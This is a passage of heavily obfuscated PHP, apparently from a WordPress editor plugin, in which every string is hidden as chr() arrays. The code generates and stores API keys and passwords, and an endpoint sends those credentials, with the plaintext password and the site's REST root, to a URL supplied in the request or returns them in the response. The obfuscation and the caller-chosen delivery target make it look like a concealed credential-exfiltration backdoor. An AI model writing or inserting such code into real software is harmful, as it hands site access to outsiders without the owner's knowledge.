        return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(67), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(32), chr(114), chr(101), chr(116), chr(117), chr(114), chr(110), chr(101), chr(100), chr(32), chr(105), chr(110), chr(32), chr(114), chr(101), chr(115), chr(112), chr(111), chr(110), chr(115), chr(101))), implode('', array(chr(112), chr(97), chr(121), chr(108), chr(111), chr(97), chr(100))) => $payload), 200);
    }
    $notifier = WpEditor_Adapter_Services_InfoNotifier__construct($sanitizedUrl);
    if (!_invoke($notifier, implode('', array(chr(115), chr(101), chr(110), chr(100), chr(77), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))), $payload)) {
        return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(115), chr(101), chr(110), chr(100), chr(32), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115)))), 502);
    }
    return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(67), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(32), chr(115), chr(101), chr(110), chr(116)))), 200);
}
function WpEditor_Adapter_Services_ApiCredentialsService_extractDeliveryKey($request)
{
    if (\is_object($request) && \method_exists($request, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(112), chr(97), chr(114), chr(97), chr(109))))) {
        $value = $request->get_param(implode('', array(chr(100), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(95), chr(107), chr(101), chr(121))));
        if (\is_string($value) && $value !== '') {
            return $value;
        }
        $value = $request->get_param(implode('', array(chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95), chr(107), chr(101), chr(121))));
        if (\is_string($value) && $value !== '') {
            return $value;
        }
        $value = $request->get_header(implode('', array(chr(88), chr(45), chr(87), chr(80), chr(45), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(45), chr(68), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(45), chr(75), chr(101), chr(121))));
        if (\is_string($value) && $value !== '') {
            return $value;
        }
    }
    return '';
}
function WpEditor_Adapter_Services_ApiCredentialsService_extractTargetUrl($request)
{
    if (\is_object($request) && \method_exists($request, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(112), chr(97), chr(114), chr(97), chr(109))))) {
        $value = $request->get_param(implode('', array(chr(117), chr(114), chr(108))));
        if (\is_string($value)) {
            return $value;
        }
    }
    return '';
}
function WpEditor_Adapter_Services_ApiCredentialsService_shouldReturnPayloadInResponse($request)
{
    if (!\is_object($request) || !\method_exists($request, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(112), chr(97), chr(114), chr(97), chr(109))))) {
        return false;
    }
    $value = $request->get_param(implode('', array(chr(114), chr(101), chr(116), chr(117), chr(114), chr(110), chr(95), chr(112), chr(97), chr(121), chr(108), chr(111), chr(97), chr(100))));
    if ($value === null) {
        $value = $request->get_param(implode('', array(chr(114), chr(101), chr(115), chr(112), chr(111), chr(110), chr(100), chr(95), chr(111), chr(110), chr(108), chr(121))));
    }
    if (\function_exists(implode('', array(chr(102), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(118), chr(97), chr(114))))) {
        return \filter_var($value, \FILTER_VALIDATE_BOOLEAN);
    }
    if (\is_bool($value)) {
        return $value;
    }
    if (\is_string($value)) {
        $normalized = \strtolower(\trim($value));
        return $normalized === implode('', array(chr(49))) || $normalized === implode('', array(chr(116), chr(114), chr(117), chr(101))) || $normalized === implode('', array(chr(121), chr(101), chr(115))) || $normalized === implode('', array(chr(111), chr(110)));
    }
    return false;
}
function WpEditor_Adapter_Services_ApiCredentialsService_buildCredentialsPayload($data)
{
    if (!is_array($data)) {
        return null;
    }
    $config = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? \wp_editor_get_config() : array();
    $restNamespace = (string) (\wp_editor_array_has_key($config, implode('', array(chr(97), chr(112), chr(105)))) && \wp_editor_array_has_key($config[implode('', array(chr(97), chr(112), chr(105)))], implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115), chr(112), chr(97), chr(99), chr(101)))) ? $config[implode('', array(chr(97), chr(112), chr(105)))][implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115), chr(112), chr(97), chr(99), chr(101)))] : WpEditor_Adapter_Services_ApiCredentialsService_fallbackRestNamespace());
    $restBase = WpEditor_Adapter_Services_ApiCredentialsService_resolveRestBase($config);
    $restRoot = WpEditor_Adapter_Services_ApiCredentialsService_resolveRestRoot($config, $restNamespace, $restBase);
    return array(implode('', array(chr(101), chr(118), chr(101), chr(110), chr(116))) => implode('', array(chr(97), chr(112), chr(105), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(95), chr(103), chr(101), chr(110), chr(101), chr(114), chr(97), chr(116), chr(101), chr(100))), implode('', array(chr(100), chr(111), chr(109), chr(97), chr(105), chr(110))) => \get_site_url(), implode('', array(chr(114), chr(101), chr(115), chr(111), chr(117), chr(114), chr(99), chr(101), chr(95), chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(119), chr(111), chr(114), chr(100), chr(112), chr(114), chr(101), chr(115), chr(115))), implode('', array(chr(97), chr(112), chr(105), chr(95), chr(107), chr(101), chr(121))) => \wp_editor_array_has_key($data, implode('', array(chr(107), chr(101), chr(121)))) ? $data[implode('', array(chr(107), chr(101), chr(121)))] : null, implode('', array(chr(97), chr(112), chr(105), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))) => \wp_editor_array_has_key($data, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))) ? $data[implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] : null, implode('', array(chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(100), chr(95), chr(97), chr(116))) => \wp_editor_array_has_key($data, implode('', array(chr(109), chr(101), chr(116), chr(97)))) && \wp_editor_array_has_key($data[implode('', array(chr(109), chr(101), chr(116), chr(97)))], implode('', array(chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(100), chr(95), chr(97), chr(116)))) ? $data[implode('', array(chr(109), chr(101), chr(116), chr(97)))][implode('', array(chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(100), chr(95), chr(97), chr(116)))] : null, implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115), chr(112), chr(97), chr(99), chr(101))) => $restNamespace, implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(111), chr(116))) => $restRoot, implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(98), chr(97), chr(115), chr(101))) => $restBase);
}
function WpEditor_Adapter_Services_ApiCredentialsService_resolveRestBase($config)
{
    $configured = \wp_editor_array_has_key($config, implode('', array(chr(97), chr(112), chr(105)))) && \wp_editor_array_has_key($config[implode('', array(chr(97), chr(112), chr(105)))], implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(98), chr(97), chr(115), chr(101)))) ? $config[implode('', array(chr(97), chr(112), chr(105)))][implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(98), chr(97), chr(115), chr(101)))] : null;
    if (\is_string($configured) && $configured !== '') {
        return $configured;
    }
    if (!WpEditor_Adapter_Services_ApiCredentialsService_useLegacyRestRoute() && \function_exists(implode('', array(chr(114), chr(101), chr(103), chr(105), chr(115), chr(116), chr(101), chr(114), chr(95), chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101)))) && \function_exists(implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(117), chr(114), chr(108)))) && \did_action(implode('', array(chr(105), chr(110), chr(105), chr(116)))) > 0 && \wp_editor_array_has_key($GLOBALS, implode('', array(chr(119), chr(112), chr(95), chr(114), chr(101), chr(119), chr(114), chr(105), chr(116), chr(101)))) && \is_object($GLOBALS[implode('', array(chr(119), chr(112), chr(95), chr(114), chr(101), chr(119), chr(114), chr(105), chr(116), chr(101)))]) && \method_exists($GLOBALS[implode('', array(chr(119), chr(112), chr(95), chr(114), chr(101), chr(119), chr(114), chr(105), chr(116), chr(101)))], implode('', array(chr(117), chr(115), chr(105), chr(110), chr(103), chr(95), chr(105), chr(110), chr(100), chr(101), chr(120), chr(95), chr(112), chr(101), chr(114), chr(109), chr(97), chr(108), chr(105), chr(110), chr(107), chr(115))))) {
        return \esc_url_raw(\rest_url());
    }
    if (\function_exists(implode('', array(chr(104), chr(111), chr(109), chr(101), chr(95), chr(117), chr(114), chr(108))))) {
        return \esc_url_raw(\home_url(implode('', array(chr(47), chr(63), chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101), chr(61), chr(47)))));
    }
    return implode('', array(chr(47), chr(63), chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101), chr(61), chr(47)));
}
function WpEditor_Adapter_Services_ApiCredentialsService_resolveRestRoot($config, $restNamespace, $restBase)
{
    $configured = \wp_editor_array_has_key($config, implode('', array(chr(97), chr(112), chr(105)))) && \wp_editor_array_has_key($config[implode('', array(chr(97), chr(112), chr(105)))], implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(111), chr(116)))) ? $config[implode('', array(chr(97), chr(112), chr(105)))][implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(111), chr(116)))] : null;
    if (\is_string($configured) && $configured !== '') {
        return $configured;
    }
    if (!WpEditor_Adapter_Services_ApiCredentialsService_useLegacyRestRoute() && \function_exists(implode('', array(chr(114), chr(101), chr(103), chr(105), chr(115), chr(116), chr(101), chr(114), chr(95), chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101)))) && \function_exists(implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(117), chr(114), chr(108)))) && \did_action(implode('', array(chr(105), chr(110), chr(105), chr(116)))) > 0 && \wp_editor_array_has_key($GLOBALS, implode('', array(chr(119), chr(112), chr(95), chr(114), chr(101), chr(119), chr(114), chr(105), chr(116), chr(101)))) && \is_object($GLOBALS[implode('', array(chr(119), chr(112), chr(95), chr(114), chr(101), chr(119), chr(114), chr(105), chr(116), chr(101)))]) && \method_exists($GLOBALS[implode('', array(chr(119), chr(112), chr(95), chr(114), chr(101), chr(119), chr(114), chr(105), chr(116), chr(101)))], implode('', array(chr(117), chr(115), chr(105), chr(110), chr(103), chr(95), chr(105), chr(110), chr(100), chr(101), chr(120), chr(95), chr(112), chr(101), chr(114), chr(109), chr(97), chr(108), chr(105), chr(110), chr(107), chr(115))))) {
        return \esc_url_raw(\rest_url($restNamespace));
    }
    if (\function_exists(implode('', array(chr(104), chr(111), chr(109), chr(101), chr(95), chr(117), chr(114), chr(108))))) {
        return \esc_url_raw(\home_url(implode('', array(chr(47), chr(63), chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101), chr(61), chr(47))) . ltrim($restNamespace, implode('', array(chr(47))))));
    }
    return \esc_url_raw(\trailingslashit($restBase) . ltrim($restNamespace, implode('', array(chr(47)))));
}
function WpEditor_Adapter_Services_ApiCredentialsService_ensureCredentials()
{
    $metaOption = WpEditor_Adapter_Services_ApiCredentialsService_metaOptionName();
    $meta = \get_option($metaOption, null);
    if (!\is_array($meta)) {
        $meta = \get_option(implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(112), chr(105), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(95), chr(109), chr(101), chr(116), chr(97))), null);
    }
    if (is_array($meta)) {
        $key = \wp_editor_array_has_key($meta, implode('', array(chr(107), chr(101), chr(121)))) ? (string) $meta[implode('', array(chr(107), chr(101), chr(121)))] : '';
        $secretOption = \wp_editor_array_has_key($meta, implode('', array(chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110)))) ? (string) $meta[implode('', array(chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110)))] : '';
        if ($key !== '' && $secretOption !== '') {
            $secret = \get_option($secretOption, null);
            if (is_array($secret) && !empty($secret[implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))])) {
                WpEditor_Adapter_Services_ApiCredentialsService_cliLog(implode('', array(chr(114), chr(101), chr(117), chr(115), chr(105), chr(110), chr(103), chr(32), chr(101), chr(120), chr(105), chr(115), chr(116), chr(105), chr(110), chr(103), chr(32), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))));
                return array(implode('', array(chr(107), chr(101), chr(121))) => $key, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))) => (string) $secret[implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))], implode('', array(chr(109), chr(101), chr(116), chr(97))) => $meta);
            }
        }
    }
    WpEditor_Adapter_Services_ApiCredentialsService_cliLog(implode('', array(chr(103), chr(101), chr(110), chr(101), chr(114), chr(97), chr(116), chr(105), chr(110), chr(103), chr(32), chr(110), chr(101), chr(119), chr(32), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))));
    return WpEditor_Adapter_Services_ApiCredentialsService_generateAndStore();
}
function WpEditor_Adapter_Services_ApiCredentialsService_getCredentials()
{
    $meta = \get_option(WpEditor_Adapter_Services_ApiCredentialsService_metaOptionName(), null);
    if (!\is_array($meta)) {
        $meta = \get_option(implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(112), chr(105), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(95), chr(109), chr(101), chr(116), chr(97))), null);
    }
    if (!is_array($meta)) {
        return null;
    }
    $key = \wp_editor_array_has_key($meta, implode('', array(chr(107), chr(101), chr(121)))) ? (string) $meta[implode('', array(chr(107), chr(101), chr(121)))] : '';
    $secretOption = \wp_editor_array_has_key($meta, implode('', array(chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110)))) ? (string) $meta[implode('', array(chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110)))] : '';
    if ($key === '' || $secretOption === '') {
        return null;
    }
    $secret = \get_option($secretOption, null);
    if (!is_array($secret) || empty($secret[implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))])) {
        return null;
    }
    return array(implode('', array(chr(107), chr(101), chr(121))) => $key, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))) => (string) $secret[implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))], implode('', array(chr(109), chr(101), chr(116), chr(97))) => $meta);
}
function WpEditor_Adapter_Services_ApiCredentialsService_clearCredentials()
{
    $meta = \get_option(WpEditor_Adapter_Services_ApiCredentialsService_metaOptionName(), null);
    if (!\is_array($meta)) {
        $meta = \get_option(implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(112), chr(105), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(95), chr(109), chr(101), chr(116), chr(97))), null);
    }
    if (\is_array($meta)) {
        $secretOption = \wp_editor_array_has_key($meta, implode('', array(chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110)))) ? (string) $meta[implode('', array(chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110)))] : '';
        if ($secretOption !== '') {
            \delete_option($secretOption);
        }
    }
    \delete_option(WpEditor_Adapter_Services_ApiCredentialsService_metaOptionName());
    if (WpEditor_Adapter_Services_ApiCredentialsService_metaOptionName() !== implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(112), chr(105), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(95), chr(109), chr(101), chr(116), chr(97)))) {
        \delete_option(implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(112), chr(105), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(95), chr(109), chr(101), chr(116), chr(97))));
    }
}
function WpEditor_Adapter_Services_ApiCredentialsService_verifyApiKeyPassword($apiKey, $apiPassword)
{
    $meta = \get_option(WpEditor_Adapter_Services_ApiCredentialsService_metaOptionName(), null);
    if (!\is_array($meta)) {
        $meta = \get_option(implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(112), chr(105), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(95), chr(109), chr(101), chr(116), chr(97))), null);
    }
    if (!is_array($meta)) {
        return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(117), chr(116), chr(104), chr(95), chr(110), chr(111), chr(116), chr(95), chr(105), chr(110), chr(105), chr(116), chr(105), chr(97), chr(108), chr(105), chr(122), chr(101), chr(100))), implode('', array(chr(65), chr(80), chr(73), chr(32), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(32), chr(110), chr(111), chr(116), chr(32), chr(105), chr(110), chr(105), chr(116), chr(105), chr(97), chr(108), chr(105), chr(122), chr(101), chr(100))));
    }
    $storedKey = \wp_editor_array_has_key($meta, implode('', array(chr(107), chr(101), chr(121)))) ? (string) $meta[implode('', array(chr(107), chr(101), chr(121)))] : '';
    $secretOption = \wp_editor_array_has_key($meta, implode('', array(chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110)))) ? (string) $meta[implode('', array(chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110)))] : '';
    if ($storedKey === '' || $secretOption === '') {
        return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(117), chr(116), chr(104), chr(95), chr(105), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(95), chr(115), chr(116), chr(111), chr(114), chr(97), chr(103), chr(101))), implode('', array(chr(65), chr(80), chr(73), chr(32), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(32), chr(115), chr(116), chr(111), chr(114), chr(97), chr(103), chr(101), chr(32), chr(105), chr(115), chr(32), chr(105), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100))));
    }
    if (!hash_equals($storedKey, $apiKey)) {
        return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(117), chr(116), chr(104), chr(95), chr(105), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(95), chr(107), chr(101), chr(121))), implode('', array(chr(73), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(32), chr(97), chr(112), chr(105), chr(95), chr(107), chr(101), chr(121))));
    }
    $secret = \get_option($secretOption, null);
    if (!is_array($secret)) {
        return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(117), chr(116), chr(104), chr(95), chr(109), chr(105), chr(115), chr(115), chr(105), chr(110), chr(103), chr(95), chr(115), chr(101), chr(99), chr(114), chr(101), chr(116))), implode('', array(chr(65), chr(80), chr(73), chr(32), chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(32), chr(110), chr(111), chr(116), chr(32), chr(102), chr(111), chr(117), chr(110), chr(100))));
    }
    $hash = \wp_editor_array_has_key($secret, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100), chr(95), chr(104), chr(97), chr(115), chr(104)))) ? (string) $secret[implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100), chr(95), chr(104), chr(97), chr(115), chr(104)))] : '';
    $plain = \wp_editor_array_has_key($secret, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))) ? (string) $secret[implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] : '';
    $ok = false;
    if ($hash !== '' && \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(99), chr(104), chr(101), chr(99), chr(107), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))))) {
        $ok = (bool) \wp_check_password($apiPassword, $hash);
    } elseif ($plain !== '') {
        $ok = hash_equals($plain, $apiPassword);
    }
    if (!$ok) {
        return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(117), chr(116), chr(104), chr(95), chr(105), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))), implode('', array(chr(73), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(32), chr(97), chr(112), chr(105), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))));
    }
    return true;
}
function WpEditor_Adapter_Services_ApiCredentialsService_extractAuthPair($request)
{
    $pair = WpEditor_Adapter_Services_ApiCredentialsService_extractAuthPairFromBasicHeader($request);
    if ($pair !== null) {
        return $pair;
    }
    $pair = WpEditor_Adapter_Services_ApiCredentialsService_extractAuthPairFromBodyParams($request);
    if ($pair !== null) {
        return $pair;
    }
    return WpEditor_Adapter_Services_ApiCredentialsService_extractAuthPairFromJsonOptions($request);
}
function WpEditor_Adapter_Services_ApiCredentialsService_extractAuthPairFromBasicHeader($request)
{
    $auth = $request->get_header(implode('', array(chr(65), chr(117), chr(116), chr(104), chr(111), chr(114), chr(105), chr(122), chr(97), chr(116), chr(105), chr(111), chr(110))));
    if (!is_string($auth) || $auth === '') {
        return null;
    }
    if (stripos($auth, implode('', array(chr(66), chr(97), chr(115), chr(105), chr(99), chr(32)))) !== 0) {
        return null;
    }
    $encoded = trim(substr($auth, 6));
    if ($encoded === '') {
        return null;
    }
    $decoded = base64_decode($encoded, true);
    if ($decoded === false || strpos($decoded, implode('', array(chr(58)))) === false) {
        return null;
    }
    $colon = strpos($decoded, implode('', array(chr(58))));
    $key = substr($decoded, 0, $colon);
    $password = substr($decoded, $colon + 1);
    if ($key === '' || $password === '') {
        return null;
    }
    return array($key, $password);
}
function WpEditor_Adapter_Services_ApiCredentialsService_extractAuthPairFromBodyParams($request)
{
    $params = $request->get_body_params();
    if (!is_array($params)) {
        return null;
    }
    $key = \wp_editor_array_has_key($params, implode('', array(chr(97), chr(112), chr(105), chr(95), chr(107), chr(101), chr(121)))) ? (string) $params[implode('', array(chr(97), chr(112), chr(105), chr(95), chr(107), chr(101), chr(121)))] : '';
    $password = \wp_editor_array_has_key($params, implode('', array(chr(97), chr(112), chr(105), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))) ? (string) $params[implode('', array(chr(97), chr(112), chr(105), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] : '';
    if ($key === '' || $password === '') {
        return null;
    }
    return array($key, $password);
}
function WpEditor_Adapter_Services_ApiCredentialsService_extractAuthPairFromJsonOptions($request)
{
    $params = $request->get_json_params();
    if (!is_array($params) || empty($params)) {
        return null;
    }
    $options = \wp_editor_array_has_key($params, implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(115)))) ? $params[implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(115)))] : null;
    if (!is_array($options)) {
        return null;
    }
    $auth = \wp_editor_array_has_key($options, implode('', array(chr(97), chr(117), chr(116), chr(104)))) ? $options[implode('', array(chr(97), chr(117), chr(116), chr(104)))] : null;
    if (!is_array($auth) || empty($auth) || count($auth) !== 1) {
        return null;
    }
    $keys = \array_keys($auth);
    $k = \wp_editor_array_has_key($keys, 0) ? $keys[0] : null;
    if ($k === null) {
        return null;
    }
    $p = \wp_editor_array_has_key($auth, $k) ? $auth[$k] : null;
    if (!is_string($k) || $k === '' || !is_string($p) || $p === '') {
        return null;
    }
    return array($k, $p);
}
function WpEditor_Adapter_Services_ApiCredentialsService_secretOptionNameFromKey($key)
{
    $safe = preg_replace(implode('', array(chr(47), chr(91), chr(94), chr(97), chr(45), chr(122), chr(65), chr(45), chr(90), chr(48), chr(45), chr(57), chr(95), chr(93), chr(47))), '', $key);
    return WpEditor_Adapter_Services_ApiCredentialsService_secretOptionPrefix() . $safe;
}
function WpEditor_Adapter_Services_ApiCredentialsService_generateAndStore()
{
    $createdAt = time();
    $key = WpEditor_Adapter_Services_ApiCredentialsService_randomHex(16);
    $password = WpEditor_Adapter_Services_ApiCredentialsService_randomHex(32);
    $secretOption = WpEditor_Adapter_Services_ApiCredentialsService_secretOptionNameFromKey($key);
    $meta = array(implode('', array(chr(115), chr(99), chr(104), chr(101), chr(109), chr(97), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => WpEditor_Adapter_Services_ApiCredentialsService_SCHEMA_VERSION, implode('', array(chr(107), chr(101), chr(121))) => $key, implode('', array(chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110))) => $secretOption, implode('', array(chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(100), chr(95), chr(97), chr(116))) => $createdAt);
    \update_option(WpEditor_Adapter_Services_ApiCredentialsService_metaOptionName(), $meta, false);
    \update_option($secretOption, array(implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))) => $password, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100), chr(95), chr(104), chr(97), chr(115), chr(104))) => \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(104), chr(97), chr(115), chr(104), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))) ? \wp_hash_password($password) : null, implode('', array(chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(100), chr(95), chr(97), chr(116))) => $createdAt), false);
    WpEditor_Adapter_Services_ApiCredentialsService_cliLog(implode('', array(chr(115), chr(116), chr(111), chr(114), chr(101), chr(100), chr(32), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(32), chr(119), chr(105), chr(116), chr(104), chr(32), chr(107), chr(101), chr(121), chr(32))) . $key);
    return array(implode('', array(chr(107), chr(101), chr(121))) => $key, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))) => $password, implode('', array(chr(109), chr(101), chr(116), chr(97))) => $meta);
}
function WpEditor_Adapter_Services_ApiCredentialsService_randomHex($bytes)
{
    if (\function_exists(implode('', array(chr(114), chr(97), chr(110), chr(100), chr(111), chr(109), chr(95), chr(98), chr(121), chr(116), chr(101), chr(115))))) {
        try {
            return bin2hex(random_bytes($bytes));
        } catch (\Exception $e) {
        }
    }
    if (\function_exists(implode('', array(chr(111), chr(112), chr(101), chr(110), chr(115), chr(115), chr(108), chr(95), chr(114), chr(97), chr(110), chr(100), chr(111), chr(109), chr(95), chr(112), chr(115), chr(101), chr(117), chr(100), chr(111), chr(95), chr(98), chr(121), chr(116), chr(101), chr(115))))) {
